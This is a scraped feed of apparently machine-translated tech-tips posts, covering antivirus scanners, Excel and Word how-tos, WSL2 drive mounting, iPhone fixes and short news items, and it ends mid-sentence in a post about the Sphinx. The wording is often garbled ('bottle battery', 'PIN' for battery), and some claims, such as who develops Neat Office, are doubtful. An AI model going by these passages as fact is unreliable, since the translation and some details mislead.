Emsisoft Emergency Kit   Emsisoft Emergency Kit software uses the Bitdefender engine to help you scan and remove Malware effectively. Equipped with modern technology to help you scan for viruses, Trojans, spyware, rootkids, adware, PUPs, worms. In addition, the program supports you to scan files / folders / hard drives manually, you can scan whatever file on the computer you want, you suspect.\nYou can download the Emsisoft Emergency Kit at\u0026nbsp; this address .\n2. Kaspersky Virus Removal Tool   Referring to Kaspersky is synonymous with safety. Somehow I have a lot of feelings for this reputable security company.\nIf possible, you can buy Kaspersky key\u0026nbsp; here . If not, they can use their antivirus software\u0026nbsp; Kaspersky Free \u0026nbsp;.\nAlso in this article I would like to introduce to you a tool called Kaspersky Virus Removal Tool. This software is portable, you can download and handle the virus without having to install it.\nI have tested this tool and it is very effective in removing viruses such as Virus Shortcut, Autorun, WannaCRy, FakeFolder….\nLink download Kaspersky Virus Removal Tool except the homepage:\u0026nbsp; Download here\n3. Dr.Web CureIt!   Dr.Web CureIt! Portable antivirus software with a fairly heavy capacity (about 160MB), very good support for scanning startup viruses, computer memory, Windows folders, temporary files, system restore points, rootkits, or custom files and folders….\nYou can download Dr.Web CureIt! at\u0026nbsp; this address .\n4. EMCO Malware Destroyer   Similar to the above software, EMCO Malware Destroyer offers you a solution to scan suspicious files to find and remove viruses, avoid unnecessary data loss.\nYou can download the EMCO Malware Destroyer at\u0026nbsp; this site .\n5. eScanAV Anti-Virus Toolkit (MWAV)   EScanAV Anti-Virus Toolkit (MWAV) software supports you to monitor spyware, adware, keyloggers… very well. Removes all potential dangers present on your computer, is generally pretty good to use.\nBut one thing that inhibits users is that each time you turn off the software, it will display an ad.\nYou can download the EMCO Malware Destroyer at\u0026nbsp; this site .\n6. Trend Micro HouseCall   The advantage of this software is extremely light, just over 2MB, so you can carry it in a USB for fast use.\nNote that when running Trend Micro HouseCall software it will automatically update the Database to the 'Temp' folder in your computer and run from there so you will not be able to see its directory / file. Next time running it will check the Temp file with the server to continue Update. And of course, if you have cleaned up the Temp folder, it will reload from scratch.\nYou can download Trend Micro HouseCall at\u0026nbsp; this address .\n7. Norman Malware Cleaner   The software is also quite heavy (300MB), Norman Malware Cleaner helps you find and remove viruses, identify rootkits, detect malicious code and destroy them.\nIn addition to the basic features of the above software, this software helps you to eliminate files, folders, delete or quarantine infected files.\nYou can download Norman Malware Cleaner at\u0026nbsp; this site .\n8. Comodo Cleaning Essentials   Comodo Cleaning Essentials supports smart scanning, helping you to scan important areas of the computer. In addition, this software supports a lot of other advanced features, you can explore more.\nYou can download Comodo Cleaning Essentials at\u0026nbsp; this site .\n9. Panda Cloud Cleaner   This software has the feature of automatically updating each time it is started. The capacity is also relatively light, only about 30-40 MB, so it is also very easy to store it to external devices.\nYou can download Panda Cloud Cleaner at\u0026nbsp; this site .\n10. Zillya! Scanner   A free anti-virus software is quite effective, the function is similar to the ones above.\nNote is to use the software Zillya! Scanner requires that your hard drive space must be at least 115MB free to use it.\nYou can download Zillya! Scanner at here.\n11. Malwarebytes Anti-Malware   This anti-malware software you are probably familiar with, right, I really like this software because its scanning mechanism is quite smart.\nYou can download Malwarebytes Anti-Malware at here.\n12. Microsoft Safety Scanner   Is an anti-virus software provided for free from giant Microsoft, helping you detect and remove malicious software from your computer quickly.\nNote that this software supports 2 versions, 32-bit and 64-bit. You can choose suitable for the computer version you are using.\nYou can download the Microsoft Safety Scanner at here.\n13. ClamWin Free Antivirus   With this software you can choose to scan Full hard drive or a partition or any Folder to scan and detect viruses. Alternatively, you can set up ClamWin Free Antivirus for scheduled scans, as well as integration into Windows Shell, email notifications, outlook email scanning, file exclusions, .\nYou can download ClamWin Free Antivirus at here.\nConclude Above are 13\u0026nbsp; \u0026nbsp;best Portable antivirus software today that you should use in combination with anti-virus software installed on your computer. If you are a careful person, these 12 portable software are really a great gift for you.\nGood luck.\nncG1vNJzZmismaXArq3KnmWcp51kfnR5z6iprZmSobJurc2toK%2BhoqrAbq3NnWSsm5Gju6a%2BjKymn6ynlr%2Bmedaoqa2gXarAqrrGZquhnV2ivLTA\n","link":"/post/13-portable-antivirus-and-scanner-software-worth-using-the-most/","section":"post","tags":null,"title":"13 portable antivirus and scanner software worth using the most"},{"body":"FreeConference unlike other free service providers, does not sell or share any personal data of its users. Privacy is the provider's top priority!\nDownload Free Conference Call for\u0026nbsp;PC here. Download Free Conference Call for Android here. Download Free Conference Call for\u0026nbsp;iOS\u0026nbsp;here.   Free Conference Call allows holding unlimited meetings, up to 100 participants\nFeatures of Free Conference Call Free professional online meeting service No fees, no credit cards, no surcharges and no limits, you can host or join a free conference call with up to 100 participants to discuss a topic or chat with family and friends.\nFree video or audio calls with up to 100 participants FreeConference provides free and unlimited online meeting service with HD quality. You can schedule calls in advance, send invitations and reminders. Attendees can join from a desktop computer, mobile app, or dial toll-free from a phone.\nCreate a free online meeting room for webinars and presentations Free online meeting rooms come with free video and audio conferencing, document and screen sharing, online whiteboard use, and free dialing integration. This is the best free meeting software for anyone and no download required!\nFree Screen Sharing Share your screen right from your web browser during a free meeting call for more engaging presentations and real-time collaboration. It's convenient!\nFree video and audio calls with family and friends With FreeConference, you can start a free video or audio call for up to 100 participants. You can use this tool to stay in touch with family and friends, hold a book club meeting or a virtual party from any device, and more.\nAdvantages\nFree of charge Easy to set up Good quality Password protected communication Defect\nSometimes there is a problem with the connection Limited access to call logs, logs, user information during calls ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGaaqKaWmr%2BmusKeZJyZnKF6pbvWp6OomZRis7OxxGaaqKaWmr%2BmusKeZJyZnKF6qbHRng%3D%3D\n","link":"/post/free-conference-call-download-free-conference-call-here/","section":"post","tags":null,"title":"Free Conference Call - Download Free Conference Call here."},{"body":"Emoticons or stickers are often used when you chat on Messenger, Zalo or send messages. On iPhone the manufacturer Apple has added many new emoticons to Apple's default percussion to add options when searching.\nHowever for many people, the list of new emoji on iPhone is quite inconvenient to use because the amount of emoji increased significantly. If the iPhone has been jailbroken, you can install MoreFrequentlyUsedEmojis tweak, which helps to reduce the default emoji list and replace it with the usual 50 emoji. Refine settings from iOS 9 and above.\nHow to view the Emoji emoticons of iPhone on Android Secret Emoji emoticons on iPhone. Do you know yet? Add emoticons when texting on iPhone How to install MoreFrequentlyUsedEmojis iPhone tweak Step 1:\nMoreFrequentlyUsedEmojis tweaks are downloaded for free on Cydia's BigBoss repository. You can search in Cydia or click directly on the link below.\n http://apt.thebigboss.org/onepackage.php?bundleid=com.ahrabie.morefrequentlyusedemojis  Step 2:\nAfter installing the tweak, you do not need to change or reset the options of the settings in Settings. Changes will automatically be applied on the device.\nThe default set of emoticons added by Apple to the percussion on the iPhone will be completely disabled. Instead, tweak and combine the 50 most frequently used emoji.\n  So with MoreFrequentlyUsedEmojis tweaking, users will easily select emoji on iPhone, the search process will be reduced time. The use of the iPhone keyboard to enter drafting content is also more convenient.\nSee more:\nWhy does the Emoji keyboard on my iPhone 'disappear'? Instructions for turning on emoji keyboard on iPhone Create an Emoji emoji with 'made by me' style I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmbGlllaK8q7WMoqpmp5apsq951KycnWWfo3qqvMeopZ4%3D\n","link":"/post/how-to-display-50-emoji-is-often-used-on-iphone/","section":"post","tags":null,"title":"How to display 50 emoji is often used on iPhone"},{"body":" When your Mac is connected to a network, it is assigned an address on the network called an IP address. The IP address is four sets of digits separated by periods, with up to three digits per set. If the Mac is connected to a network as...\nMethod 1of 4:\nFinding Your Internal IP (OS X 10.5 and Newer)  Click on the Apple icon on the upper-left corner of the screen.\n  Scroll down and select System Preferences.\n  Click Network. This should be on the third row.\n  Select your connection. Typically you will be connected to the network via AirPort (wireless), or Ethernet (wired). The connection you are using will say Connected next to it. Your IP address will be listed directly beneath your connection status, in smaller print. Your active connection will typically be selected by default.  Method 2of 4:\nFinding Your Internal IP (OS X 10.4)  Click on the Apple icon on the upper-left corner of the screen.\n  Scroll down and select System Preferences.\n  Click Network. This should be on the third row.\n  Select your connection. You can select the connection that you want the IP address for in the Show dropdown menu. If you have a wired connection, choose Built-In Ethernet. If you have a wireless connection, choose AirPort.\n  Click the TCP/IP tab. Your IP address will be listed in the settings window.[1]\n Method 3of 4:\nFinding Your Internal IP Using the Terminal  Open the Terminal. This can be found in the Utilities section of your Application folder.\n  Use the ifconfig command. The normal ifconfig command will result in a lot of data displayed that is not necessary and a little confusing. The following command will remove most of the unnecessary stuff and display your internal IP address:ifconfig | grep \"inet \" | grep -v 127.0.0.1[2] This command removes the 127.0.0.1 entry, which will always appear regardless of the machine you are using. This is the feedback loop, and can be ignored when looking for the IP address.   Copy your IP address. Your IP address will be displayed next to the 'inet' entry.\n Method 4of 4:\nFinding Your External IP  Open your router's configuration page. Almost all routers can be accessed through a web interface where you can see and adjust settings. Open the web interface by entering the router's IP address into a web browser. Check your router's documentation for the specific address. The most common router addresses are: 192.168.1.1 192.168.0.1 192.168.2.1   Open your Router Status. The location of the external IP address will vary from router to router. Most have it listed in the Router Status or WAN (Wide Area Network) Status.[3] Under Internet Port in the Router Status, your IP address should be listed. The IP address is 4 sets of digits, with up to three digits per set. This is the IP address of your router. Any connections made out of your router will have this address. This IP address is assigned to you by your internet service provider. Most external IP addresses are dynamic, which means they change from time to time. This address can be masked using proxies.   Google search 'ip address'. The first result displayed will be your external, or public, IP address.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7Fuxc6uqWahoGKupbDRnqqsZZ%2BjeqJ5zJqa\n","link":"/post/how-to-find-your-ip-address-on-a-mac/","section":"post","tags":null,"title":"How to Find Your IP Address on a Mac"},{"body":"There are many battery related errors when using iPhone including the battery charge error on iPhone. Most of the battery errors or battery charging errors lagged on the iPhone usually fall on old iPhone devices have been used for a long time. Of course, with old devices, there are a lot of problems, not just about the PIN and we can still fix it ourselves.\nThe cause of the battery charge error is lagged on the iPhone\nThere are 2 main problems related to battery charging error on iPhone that is because your PIN has been used for too long, the bottle PIN and display parameters are no longer correctly notified each charge.\n  The second problem may be due to the problem with the iOS version you are using that causes the battery charging error to drop percent on the iPhone, perhaps solving the problem will be much simpler than the hardware error. .\nFix the battery charging percentage lag on iPhone We already know exactly what the fault of charging the battery drops on the iPhone is caused by the error and to fix it is not always a 100% success rate and it is possible to eliminate it forever, What we need to do here is to minimize the risk of it to limit exposure.\n1. iPhone battery case is bottle\n  If it is a bottle battery, the only way to fix the battery charging error on the iPhone is to go out and replace the iPhone PIN. However, users should also note because there are many stores replacing PIN with many different quality PINs on the market today. If you accidentally use a fake PIN, the risk of fire and explosion is much less secure than before.\nIt is better to go to the major phone stores near your area or find an authorized Apple warranty address in Vietnam to provide warranty for your product. This is much safer and more effective.\n2. Case by software\nIt is possible that the error of charging the battery is reduced by the percentage on the iPhone is not due to the hardware, but specifically the bottle battery, it is also possible that the software is due to the operating system using the PIN error. Fixing the software-related errors will be much simpler and readers can apply to fix the battery charging issue on the iPhone immediately.\n- To fix the battery charging error on the iPhone in the simplest way we can choose to turn off the device and restart it. Sometimes when you do not restart the device for too long, it is easy to cause the virtual PIN situation that is the PIN message is not correct, so before trying a more advanced way, it will be good to slap the phone and turn it on again. much more.\n- The other case we can apply to fix the battery charge lag on iPhone is to update to the latest iOS version, if it is the latest version, we are forced to wait for a version. Apple quick fixes. However, if there is any error related to the apple PIN, always fix the error quickly so the user does not need to be too concerned in case of this error.\n  3. Note when using iPhone\nIn order to prevent and minimize the error occurring with the iPhone, the user needs to have knowledge of using the phone, especially the iPhone to minimize the error iPhone encountered.\nThe first thing to look out for is to use original iPhone cables and chargers or partners that Apple has recognized as qualified. Using standard tools is a way to help minimize PIN errors. At least regularly 1 month discharge the battery 1 to 2 times to let the PIN return to the necessary cycle, the rest do not have to be fully charged as well as used up before charging. Regularly updating to the latest Apple versions for iPhone and iPad, versions are the only way for you to always have a smooth running device with less bugs. Above are ways to help users fix the battery charging error on the iPhone, an error that a lot of people make while using the iPhone. That is the case when the battery charging error is reduced by the percentage on the iPhone, what about the case when the iPhone does not charge to the power? How to handle this situation? It's very simple with tips to fix iPhone not charging to power later will help you fix the problem fastest.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjrdOtnKuxXZi1or7GoqWgZZWnv7C%2BjKilZqGgnbyvsQ%3D%3D\n","link":"/post/how-to-fix-battery-charging-error-on-iphone/","section":"post","tags":null,"title":"How to fix battery charging error on iPhone"},{"body":"In an Excel spreadsheet with a long volume of information, containing multiple rows of columns, when you move your mouse down the bottom rows, the headlines are not displayed. In long tables, users need to keep the subject line fixed so that it is always displayed, even if you scroll down.\n  Freeze a line on Excel If you only need to fix the first row in Excel, on the View tab (1) , choose\u0026nbsp; Freeze Panes (2) =\u0026gt; select Freeze Top Row (3) .\n  Thus, the first row of the worksheet has been fixed. You drag your mouse down to the bottom line and you can still see the first line.\n  Note: \nThe Freeze Top Row tool fixed the first row in the worksheet without counting hidden rows, so if you hide row 1, Freeze Top Row will understand row 2 as the first row of the worksheet. Consider the following example: Line 1 of Excel has been hidden.\n  You freeze the row with the Freeze Top Row tool, Excel understands that line 2 will be the first row in the worksheet, and line 2 is fixed.\n  Fixed multiple lines on Excel If you want to have multiple lines fixed, you can do the following:\nPlace your cursor in the first cell of the line below the lines you want to freeze. For example, if you want to fix row 1 and row 2, you place your cursor in cell A3 (1) . On the View tab (2) , select\u0026nbsp; Freeze Panes (3) =\u0026gt; select Freeze Panes (4) .\n  The result is that line 1, line 2 are fixed.\n  \u0026nbsp;How to permanently remove the subject line To remove frozen lines, on the View tab (1) , select\u0026nbsp; Freeze Panes (2) =\u0026gt; select Unfreeze Panes (3) .\n  Above Software Tips showed you how to fix one or more first lines in Excel spreadsheets. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXquwcutoKmklWK5qrrErGSipl2axaSxyw%3D%3D\n","link":"/post/how-to-fix-multiple-lines-in-excel/","section":"post","tags":null,"title":"How to fix multiple lines in Excel"},{"body":"Starting with build 20211, Windows Subsystem for Linux 2 (WSL2) includes a new feature that allows you to attach and mount physical drives to access the Linux file system (such as ext4) which is not supported. support on Windows 10.\nThis new feature is intended to help you access Linux files using File Explorer on a dual boot system running Windows 10 and a Linux distribution on another drive.\nIn this tutorial, you will learn the steps to mount and unmount a drive using Windows Subsystem for Linux 2.\nMount Linux file system on Windows 10 To mount the Linux file system using WSL2, follow these steps:\nStep 1. Open Start on Windows 10.\nStep 2. Search for PowerShell , right-click on the top result and select the option Run as administrator .\nStep 3. Type the following command to list available physical drives and press Enter :\nwmic diskdrive list brief Step 4. Confirm the drive path in the \"Device ID\" column .\nStep 5. Type the following command to mount the Linux file system and press Enter :\nwsl --mount DISKPATH   In this command, be sure to replace DISKPATH with the path of the drive where the Linux distribution you want to mount. For example:\nwsl --mount .PHYSICALDRIVE2 If you want to mount a specific partition, you will need to use the --partition option with the partition number. For example:\nwsl --mount .PHYSICALDRIVE2 --partition 1 After you complete the steps, the drive containing the Linux files will mount and will show up on Windows 10.\nMount any Linux file system on Windows 10 The previous steps will just try to mount a physical drive as ext4. If you want to specify a different file system, you'll need to use a command other than Windows Subsystem for Linux 2.\nTo mount a specific Linux file system on Windows 10, follow these steps:\nStep 1. Open Start.\nStep 2. Search for PowerShell , right-click on the top result and select the option Run as administrator .\nStep 3. Type the following command to list available physical drives on Windows 10 and press Enter:\nwmic diskdrive list brief Step 4. Confirm the drive path in the \"Device ID\" column .\nStep 5. Type the following command to mount the drive and press Enter:\nwsl --mount DISKPATH -t FILESYSTEM In this command, be sure to replace DISKPATH and FILESYSTEM for the drive path and the Linux file system you want to mount. For example, to mount the drive as fat, use the following command:\nwsl --mount DISKPATH -t vfat After you complete the steps, the drive containing the Linux files will mount and you can access it using File Explorer.\nAccess the Linux file system on Windows 10 To access files from Linux file system on Windows 10, follow these steps:\nStep 1. Open File Explorer.\nStep 2. Click the Linux entry from the left navigation pane.\nStep 3. In the address bar, navigate to wsl $ and then access to mount directory. For example:\nwsl$DISTRO-NAMEMOUNT-POINT   Navigate to wsl $ and then access the mount directory\nAfter completing the steps, you will be able to browse Linux files from the file system that is not natively supported on Windows 10. In addition to using File Explorer, once the drive is mounted, you will be able to access the systems. file like 'ext4' from the WSL2 console using the command lines.\nUnmount Linux file system on Windows 10 To unmount Linux file system on Windows 10, follow these steps:\nStep 1. Open Start.\nStep 2. Search for PowerShell , right-click on the top result and select the option Run as administrator .\nStep 3. Type the following command to unmount and remove the drive, then press Enter :\nwsl --unmount DISKPATH In the command, make sure to replace DISKPATH with the Device ID of the drive you want to unmount .\nAfter you complete the steps, the drive with the Linux file system will be unmounted and removed from Windows 10.\nThis feature is available starting with Windows 10 build 20211 and is expected to be available in future operating system releases. If you can't see the new feature, it's because you're running the latest preview available in Dev Channel.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfqru1ecBmo6Kmpa16p7XLnmSssaOpsq551Kygp59drMCtfoyopWavmaOxsMPSZmhp\n","link":"/post/how-to-mount-a-linux-file-system-using-wsl2-on-windows-10/","section":"post","tags":null,"title":"How to mount a Linux file system using WSL2 on Windows 10"},{"body":"One of the necessary actions to help you present beautiful and scientific text is to align the text according to the form and position of the text. This article helps you rotate the text direction as you like in Word.\n  1. Rotate text direction with text as a specific object To rotate text direction with text that is an object in Textbox or an art word, you do as follows:\nSelect the object to rotate -\u0026gt; go to Format -\u0026gt; Rorate -\u0026gt; select the rotation angle to suit your requirements with the following options:\n- Rorate right 90: Rotate right 90 degrees\n- Rorate left 90: Rotate left 90 degrees\n- Flip Vertical: Rotate the text in the vertical direction\n- Flip Horizontal: Rotate text horizontally.\nThe example here performs left rotation of the object 90 degrees: \u0026nbsp;\n  The results turned 90 degrees to the left:\n  If you want to rotate the text at a different angle than the default, click More Rorate option:\n  The dialog box appears in Rorate, enter the measure of the angle to be rotated for the object -\u0026gt; click OK:\n  As a result, you also rotated the text direction according to the angle entered:\n  In addition, you can manipulate directly on the object without having to use any tab on the toolbar by keeping left clicking on the circle icon of the object -\u0026gt; rotate as you like for the object:\n  2. Rotate the text direction with text as the content of the chart Above, I guide rotate the text direction for specific objects, in case of rotating the text direction in the table, you perform a very simple operation. Select the text to rotate -\u0026gt; right-click and select Text Direction .\n  The dialog box displays a click on the direction of the text to be rotated -\u0026gt; click the OK button:\n  Or you go to the layout tab -\u0026gt; Aligment -\u0026gt; click on Text Direction until you get the desired text direction:\n  The result you have rotated text is in the table:\n  Above is how to rotate words in Word version 2016. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqfqa61sYytnLGsXZ67bsPOq5s%3D\n","link":"/post/how-to-rotate-text-in-word/","section":"post","tags":null,"title":"How to rotate text in Word"},{"body":"Screen capture on every Windows computer has become a basic operation, familiar to many users. The simplest way is to use the Print Screen key, then edit the image on tools like Paint or use Adobe Photoshop software. In addition, we can also use the Snipping Tool in the article How to take screenshots on Windows 10 that we introduced.\nAnd if you are installing Windows 10 Anniversary Update or more, you can use the built-in Windows Ink Workspace tool. The basic feature of Windows Ink Workspace also captures screen shots like the aforementioned tools, but this tool also provides many other professional features. If you don't know how to take screenshots on Windows Ink Workspace, please refer to the following article of Network Administrator.\nHow to turn on auto-release memory mode Windows 10 Creators Update Summary of several ways to turn off Windows 10 computer Instructions for creating the Settings shortcut on Windows 10 Step 1: First of all, we need to open the interface that wants to take screenshots on the computer. Next, users need to click on the Windows Ink Workspace icon on the Taskbar taskbar. In case you don't see the icon, right-click on the Taskbar and select Show Windows Ink Workspace button .\n  Step 2: Next, click on the tool icon in the Taskbar and the Windows Ink Workspace interface will appear. Here, click on Screen Sketch .\n  Step 3: After you click this option on Windows Ink Workspace, the screenshot will be taken and an editing window will appear as shown below. The top row will be tools for you to customize the screen interface snapshot.\n  Step 4: In the Screen Sketch interface, we can crop the screenshot with the Crop icon . The user moves the square frame position or collapsed, stretching to select the cutting area. Then press the tick icon to cut the selected screenshot.\n  Or you can draw scanned screenshots with pen types that Windows Ink Workspace provides. We can choose the types of brushes and colors at the color palette in the list.\n  Click the Copy or Save icon to save the screenshot. Users can also share this screenshot with the Share icon right on the Windows 10 computer.\n  Above is how to use Windows Ink Workspace tool to take a screenshot of Windows 10 computer screen, Anniversary Update version or more. Windows Ink tool brings users many other image editing features, in addition to the ability to capture screen interface.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJuv8KrnJ6mo528tb%2BMqJ1mr5mjsbDD0mZoaWWlqLavs4ywoKecn6zAbrXNpGSwp6KgwLGtwp4%3D\n","link":"/post/how-to-take-screenshots-of-windows-10-using-windows-ink-workspace/","section":"post","tags":null,"title":"How to take screenshots of Windows 10 using Windows Ink Workspace"},{"body":"When working with data tables, Excel statistics, knowing and using Excel functions will help you complete your work. And in today's article, Network Administrator will introduce you to NORMDIST function in excel and how to use the function.\nThe NORMDIST function returns a normal distribution in Excel with a standard deviation and a defined mean. The function will be applied in the statistics table, examining the hypothesis. The following article uses NORMDIST function for Excel 2003 version to Excel 2013.\nUse NORMDIST function in Excel We have a syntax to use NORMDIST function (x, mean, standard_dev, cumalative).\nIn it :\nx: is the value to be distributed. Required parameters mean: The arithmetic average value of distribution. Required parameters. standard_dev: Standard deviation of distribution. Required parameters. cumalative: The logical value determines the function form. Required parameters. cumalative = true: Returns the result of the cumulative distribution function cumalative = false: Returns the result of the probability density function. Note:\nIf the average or standard deviation is not in the numerical form =\u0026gt; the function returns the #VALUE! Error. If average = 0 and standard deviation = 1, cumulative = True =\u0026gt; the function returns NORMSDIST normal distribution. If the standard deviation is less than 0 =\u0026gt; the function returns the value #NUM !. When the cumulative value = TRUE =\u0026gt; the distribution applies from negative negative to x value. We have an example. The distribution of value 92 according to the table below.\n  Case 1: Cumulative value TRUE (Cumalative = true) Step 1:\nIn the cell to calculate, we enter the formula: = NORMDIST (C3, C4, C5, TRUE) .\n  Step 2:\nAfter entering the formula, press Enter and get the result as shown below.\n  Case 2: Cumulative value = FALSE (Cumalative = false) Step 1:\nWe enter the formula as follows: = NORMDIST (C3, C4, C5, FALSE) .\n  Step 2:\nYou also press Enter and get the result as shown below:\n  Case 3: If replacing the standard deviation = 1 and the mean = 0, accumulate = True\u0026gt; NORMDIST (92) = NORMSDIST (92) NORMDIST function value (92\nYou read the formula: = NORMDIST (C3, C4, C5, TRUE) . And the result will look like below.\n  NORMSDIST function value (92):\nWe enter the formula: = NORMSDIST (C3) and the result is as below.\n  Thus, if the standard deviation = 1 average value = 0 and cumulative = true =\u0026gt; NORMSDIST function is equal to NORMDIST function value.\nThe above is a tutorial on using NORMDIST function in Excel to calculate normal distribution with standard deviation and special case between NORMSDIST function and NORMDIST function.\nRefer to the following articles: Summary of expensive shortcuts in Microsoft Excel 10 ways to recover corrupted Excel files How to reopen Word, Excel or PowerPoint files when closed but not saved yet? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqvu9Gmm6KrpGKztrrCraCopl2eu26x15ycpQ%3D%3D\n","link":"/post/how-to-use-normdist-function-in-excel/","section":"post","tags":null,"title":"How to use NORMDIST function in Excel"},{"body":"You do not want iCloud to store data of Siri? Follow these instructions to remove Siri's data from iCloud on iPhone.\nSiri learns how you use it and offers appropriate suggestions. And if you allow the application to access iCloud, you will receive similar suggestions on devices synced with an Apple ID account. For example, if you connect an iOS and macOS device with the same Apple ID, Siri will use the learning feature to provide personalized recommendations for both devices. It is quite useful, but due to privacy issues, you may want to delete Siri data from your iOS device.\nHow to turn off voice control on iPhone How to disable Siri in iCloud and delete the data it has stored\nStep 1. Open the Settings / Settings app on your iOS device.\nStep 2. Touch the Apple ID icon → iCloud → Manage Storage . Next, scroll down and select Siri .\n  Step 3 . Finally, select Disable \u0026amp; Delete and confirm.\n  So you have deleted Siri data from iCloud with iOS device. This does not disable Siri, but limits the learning data on the device that is not stored on iCloud.\nIf you Siri continue to store learning data on iCloud, just go back to Settings and turn on the switch next to Siri.\nHow to turn on backing up Siri data in iCloud on iPhone and iPad\nStep 1 . Open the Settings application → Apple ID banner → iCloud .\nStep 2. Now, turn on the switch next to Siri.\n  See more:\nThe \"critical\" answers of Siri, the funny assistant on iOS How to translate many languages ​​on Siri iOS 11 How to activate Hey Siri on macOS Sierra ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2dnJrBpnnSoqmiZZSWwaJ5xaumpmWZmLmwwcNmpqdlmaW1sLrEZqarZZmlrqU%3D\n","link":"/post/instructions-to-delete-siri-data-from-icloud-on-iphone-or-ipad/","section":"post","tags":null,"title":"Instructions to delete Siri data from iCloud on iPhone or iPad"},{"body":"Neat Office is an office suite that includes replacement tools for Word, Excel \u0026amp; PowerPoint, Google Docs, Sheets \u0026amp; Slide . supporting text editing, spreadsheet processing and creating presentation slides on computers and tablets .\nSimilar to Microsoft Office Microsoft, Neat Office allows you to edit the content of many types of documents. The editor interface of this application is designed to be simple, easy to use and has many similarities to Office versions from 2003 and earlier. The same is true for Excel (spreadsheets) and Power Point (shown) on Neat Office.\nNeat Office supports text documents including: .abw, .zabw, .pages, xml, .pdb, .hwp, .htm, .html, .jtd, .jtt, .lwp, .mw, .mcw, .doc , .xml, .docx, .docm, .dotx, .dotm, .doc, .dot, .wps, .sxw, .stw, .sxg, .odt, .ott, .oth, .odm, .rtf,. sdw, .sgl, .vor, .602, .txt, .csv, .uot, .uof, .wpd.\n  Neat Office supports spreadsheets including: .numbers, .dif, .dbf, .htm, .html files, .wk1, .wks, .123, .xml, .xlsb, .xlsx, .xlsm, .xlts, .xltm , .xls, .xlw, .xlt, .xls, .xlw, .xlt, .ods, .ots, .fods, .sxc, .stc, .wb2, .rtf, .sdc, .vor, .slk,. csv, .txt, .uos, .uof.\n  Neat Office supports presentations including: .key, .cgm, .pptx, .pptm, .potx, .potm, .ppt, .pot, .odp, .odg, .otp, .fopd, .sxi, .sti, .pdf, .sda, .sdd, .sdp, .vor, .uop, .uof.\n  Neat Office supports graphics including: .psd, .dxf, BMP, JPEG, JPG, .cdr, .cmx, * .pub, * .vdx; * .vsd; * .vsdm; * .vsdx, .odg, .otg, .sxd, .std, * .wpg .\nNeat Office is developed by The Document Foundation, the company has released LibreOffice, a free office suite for Windows, Macintosh and GNU / Linux.\n  On the Microsoft Store, the Neat Office is priced at $ 199.99 but is currently free for a short time. If you want to experience this office suite for Windows 10, please download it quickly before the promotion ends.\nSpirit download:\nhttps://www.microsoft.com/en-us/p/neat-office-word-excel-pdf-powerpoint-alternative/9p2htzq722v3?activetab=pivot:overviewtab  Invite to Revo Uninstaller Pro 3, the software to remove applications like Your Uninstaller for $ 19.99 is free ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqaVlsFuu8WfoJydXZrFsbHRopynm5ViwamxjGpwcnFpYrynssicnGarpZ7BpnnFqKlmr5mjsbDD0mZoaWWZqHqnvsSeZKimXaK2pL7OrKafrF2owbC%2BxA%3D%3D\n","link":"/post/invite-neat-office-experience-the-199-99-office-suite-for-windows-10-is-free-on-microsoft-store/","section":"post","tags":null,"title":"Invite Neat Office experience - the $ 199.99 office suite for Windows 10 is free on Microsoft Store"},{"body":"The first Lenovo Skylight - smartbook uses Snapdragon chip\nLenovo has officially introduced a mobile computer product called Skylight. This is the first generation smartbook in the world to use Qualcomm Snapdragon mobile chip and is considered as a premise in the goal of developing products towards \" mobile computing \".\n  The Skylight Smartbook with a pretty rounded design will have a 10.1 \"display screen with a weight of only 2 pounds (0.9kg equivalent). It has 20GB of internal memory, uses mobile processor chips. Qualcomm Snapdragon, with 1GHz speed and battery, can be used for more than 10 hours according to genuine information, and Lenovo will have a built-in web interface with a full range of straight-link applications. to online services such as Gmail, Youtube, Facebook, Roxio CinemaNow, Amazon MP3 . with 2GB of online storage.\n  Skylight is equipped with wireless Wifi connection and 3G connection. However, in the US market, if customers want to use 3G mobile connection, customers are required to use the 2-year data service package provided by Lenovo's partner, AT\u0026amp;T network.\nPublished price for Skylight smartbook is 499 USD. Expected to be sold in the United States in April and in Europe and China this summer.\n  ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bgq6ukYrmmus6vpmarm665qrPHrWSspZGnwaO7zqRkrquVqHq0usCpm6uZl6S7bq%2FHoqc%3D\n","link":"/post/the-first-lenovo-skylight-smartbook-uses-snapdragon-chip/","section":"post","tags":null,"title":"The first Lenovo Skylight - smartbook uses Snapdragon chip"},{"body":"The Great Sphinx is the name of Egypt's oldest, most famous Sphinx. This giant Sphinx is carved in the form of a human head, the lion's body is in a prostrate position to guard the temple of Pharaoh Khafre King on Giza Plateau, West Bank of the Nile River, Egypt.\nThis Sphinx is one of the great works that challenge the time of Egypt, surrounding it contains many mysteries and interesting facts that make many people wonder.\n  In the view of the Egyptians, the Sphinx symbolizes strength and wisdom.They are usually located at the entrance of the pyramids, the temple as the doorkeeper.\n  According to archaeologists, The Great Sphinx dates back about 4,500 years.This is the symbol of Egypt from ancient times to modern times.\n  This Sphinx is 73.5m long, 19.3m wide, 20,22m high and is considered to be a statue carved from the largest monolith in the world.The head of the Sphinx is worn on a traditional hairstyle located 20 meters above the ground.\n  When looking at a close-up view, the overall image is quite balanced but when viewed from a distance or from the side, the head looks much smaller than the length of the body.This disproportionate proportion of head and body causes many researchers to wonder but there is no exact answer.\n  The face of this gigantic Sphinx is said to portray the portrait of Khafre - the legendary Pharaoh of ancient Egypt.Many documents show that the statue was built in the period 2558 - 2532 BC, coinciding with the reign of Pharaoh Khafre.But there are many opinions that the Great Sphinx statue appeared before the reign of King Khafre at least 500 years ago.\n The body of the Sphinx was repeatedly buried under the sand due to the characteristic topographic changes of the desert.\n  Originally the Sphinx has a nose and 